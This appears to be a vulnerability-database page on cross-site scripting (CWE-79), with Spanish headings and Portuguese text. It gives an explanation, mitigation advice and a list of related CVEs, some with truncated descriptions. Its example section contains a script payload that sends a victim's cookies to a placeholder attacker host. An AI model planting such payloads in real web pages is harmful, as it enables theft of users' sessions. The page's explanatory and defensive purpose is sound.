Fallos del tipo CWE-79

28.677 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-0890—Nextcloud Server before 11.0.3 is vulnerable to an inadequate escaping leading to a XSS vulnerability in the search module. To be exploitablEPSS 0.7%CVE-2022-31059MEDIUMDiscourse Calendar Event names susceptible to Cross-site ScriptingEPSS 0.7%CVE-2025-53084CRITICALA cross-site scripting (xss) vulnerability exists in the videosList page parameter functionality of WWBN AVideo 14.4 and dev master commit 8EPSS 0.7%CVE-2023-3083MEDIUMCross-site Scripting (XSS) - Stored in nilsteampassnet/teampassEPSS 0.7%CVE-2024-34749MEDIUMPhormer prior to version 3.35 contains a cross-site scripting vulnerability. If this vulnerability is exploited, a remote unauthenticated atEPSS 0.7%CVE-2022-20668MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2022-20666MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2026-71502MEDIUMUnauthenticated Stored Vue Template Injection Leads to Cross-Site Scripting in CTI-TransmuteEPSS 0.7%CVE-2022-20667MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2024-26081MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2022-20674MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2022-20673MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2022-41938CRITICALCross site scripting vulnerability with discussion titles in flarumEPSS 0.7%CVE-2022-20670MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2022-20672MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2024-26055MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.7%CVE-2022-20669MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2022-20671MEDIUMCisco Common Services Platform Collector Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2024-3194MEDIUMMailCleaner Log File Endpoint cross site scriptingEPSS 0.7%CVE-2024-26054MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%